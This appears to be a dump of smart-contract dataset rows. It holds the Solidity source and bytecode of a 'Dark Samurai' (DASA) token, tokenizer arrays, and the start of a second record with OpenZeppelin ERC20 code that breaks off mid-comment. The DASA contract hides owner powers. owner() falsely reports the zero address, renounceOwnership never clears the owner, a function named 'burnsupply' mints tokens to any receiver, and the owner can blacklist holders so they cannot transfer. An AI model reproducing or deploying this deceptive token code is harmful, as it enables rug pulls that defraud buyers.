function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DarkSamurai is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private _tTotal = 10 * 10**9 * 10**18;
string private _name = 'Dark Samurai t.me/DarkSamuraiCoin';
string private _symbol = 'DASA';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnsupply(address receiver, uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(address(0), receiver, amount);
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[sender], "You have no power here!");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a6cdef8511610066578063a6cdef851461029c578063a9059cbb146102c8578063dd62ed3e146102f4578063f2fde38b14610322576100ea565b8063715018a6146102685780638da5cb5b1461027057806395d89b4114610294576100ea565b806323b872dd116100c857806323b872dd146101c6578063313ce567146101fc5780634303443d1461021a57806370a0823114610242576100ea565b806306fdde03146100ef578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b6100f7610348565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b0381351690602001356103de565b604080519115158252519081900360200190f35b6101b46103fb565b60408051918252519081900360200190f35b610198600480360360608110156101dc57600080fd5b506001600160a01b03813581169160208101359091169060400135610401565b610204610488565b6040805160ff9092168252519081900360200190f35b6102406004803603602081101561023057600080fd5b50356001600160a01b0316610491565b005b6101b46004803603602081101561025857600080fd5b50356001600160a01b0316610619565b610240610634565b6102786106c6565b604080516001600160a01b039092168252519081900360200190f35b6100f76106cb565b610240600480360360408110156102b257600080fd5b506001600160a01b03813516906020013561072c565b610198600480360360408110156102de57600080fd5b506001600160a01b03813516906020013561085f565b6101b46004803603604081101561030a57600080fd5b506001600160a01b0381358116916020013516610873565b6102406004803603602081101561033857600080fd5b50356001600160a01b031661089e565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103d45780601f106103a9576101008083540402835291602001916103d4565b820191906000526020600020905b8154815290600101906020018083116103b757829003601f168201915b5050505050905090565b60006103f26103eb610996565b848461099a565b50600192915050565b60055490565b600061040e848484610a86565b61047e8461041a610996565b61047985604051806060016040528060288152602001610e8e602891396001600160a01b038a16600090815260026020526040812090610458610996565b6001600160a01b031681526020810191909152604001600020549190610d07565b61099a565b5060019392505050565b60085460ff1690565b610499610996565b6000546001600160a01b039081169116146104e9576040805162461bcd60e51b81526020600482018190526024820152600080516020610eb6833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156105455760405162461bcd60e51b8152600401808060200182810382526024815260200180610f1f6024913960400191505060405180910390fd5b6001600160a01b03811660009081526003602052604090205460ff16156105b3576040805162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b03166000818152600360205260408120805460ff191660019081179091556004805491820181559091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319169091179055565b6001600160a01b031660009081526001602052604090205490565b61063c610996565b6000546001600160a01b0390811691161461068c576040805162461bcd60e51b81526020600482018190526024820152600080516020610eb6833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3565b600090565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103d45780601f106103a9576101008083540402835291602001916103d4565b610734610996565b6000546001600160a01b03908116911614610784576040805162461bcd60e51b81526020600482018190526024820152600080516020610eb6833981519152604482015290519081900360640190fd5b600061078e610996565b6001600160a01b031614156107d45760405162461bcd60e51b8152600401808060200182810382526021815260200180610e006021913960400191505060405180910390fd5b6005546107e19082610d9e565b6005556001600160a01b0382166000908152600160205260409020546108079082610d9e565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60006103f261086c610996565b8484610a86565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6108a6610996565b6000546001600160a01b039081169116146108f6576040805162461bcd60e51b81526020600482018190526024820152600080516020610eb6833981519152604482015290519081900360640190fd5b6001600160a01b03811661093b5760405162461bcd60e51b8152600401808060200182810382526026815260200180610e466026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166109df5760405162461bcd60e51b8152600401808060200182810382526024815260200180610f436024913960400191505060405180910390fd5b6001600160a01b038216610a245760405162461bcd60e51b8152600401808060200182810382526022815260200180610e6c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610acb5760405162461bcd60e51b8152600401808060200182810382526025815260200180610e216025913960400191505060405180910390fd5b6001600160a01b038216610b105760405162461bcd60e51b8152600401808060200182810382526023815260200180610efc6023913960400191505060405180910390fd5b6001600160a01b03821660009081526003602052604090205460ff1615610b78576040805162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015290519081900360640190fd5b3360009081526003602052604090205460ff1615610bd7576040805162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015290519081900360640190fd5b6001600160a01b03831660009081526003602052604090205460ff1615610c3f576040805162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015290519081900360640190fd5b610c7c81604051806060016040528060268152602001610ed6602691396001600160a01b0386166000908152600160205260409020549190610d07565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610cab9082610d9e565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610d965760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d5b578181015183820152602001610d43565b50505050905090810190601f168015610d885780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610df8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657242455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737357652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fe646bd8c8b6b3c01a2f0073f8aa3f2bcc8dbd3e63c51b6d85460244be85fd9864736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22203,
2497,
2575,
2497,
2620,
2549,
11329,
4402,
12376,
2683,
2278,
16932,
2546,
2581,
2581,
2475,
2063,
2475,
14141,
3676,
22275,
6305,
21084,
2278,
2575,
2546,
2581,
12879,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
5718,
1008,
1008,
100,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
2601,
21559,
24804,
3597,
2378,
1008,
100,
2601,
16352,
2003,
2019,
5875,
1050,
6199,
2622,
2008,
1005,
1055,
2183,
2000,
2713,
6407,
2200,
2574,
2241,
2006,
5781,
2645,
2335,
1012,
3929,
2451,
5533,
1010,
3647,
1997,
20452,
14289,
12718,
1012,
1008,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,410 | 0x951c853c2b0a2a79785742550e6bef1c5e545d87 | // File: contracts/external/openzeppelin-solidity/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Mints `amount` tokens to address `account`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function mint(address account, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/external/openzeppelin-solidity/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library SafeMath64 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint64 a, uint64 b) internal pure returns (uint64) {
uint64 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint64 a, uint64 b) internal pure returns (uint64) {
require(b <= a, "SafeMath: subtraction overflow");
uint64 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint64 a, uint64 b, string memory errorMessage) internal pure returns (uint64) {
require(b <= a, errorMessage);
uint64 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint64 a, uint64 b) internal pure returns (uint64) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint64 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint64 a, uint64 b) internal pure returns (uint64) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint64 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint64 a, uint64 b) internal pure returns (uint64) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts/external/openzeppelin-solidity/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function _transferFrom(address sender, address recipient, uint256 amount) internal {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
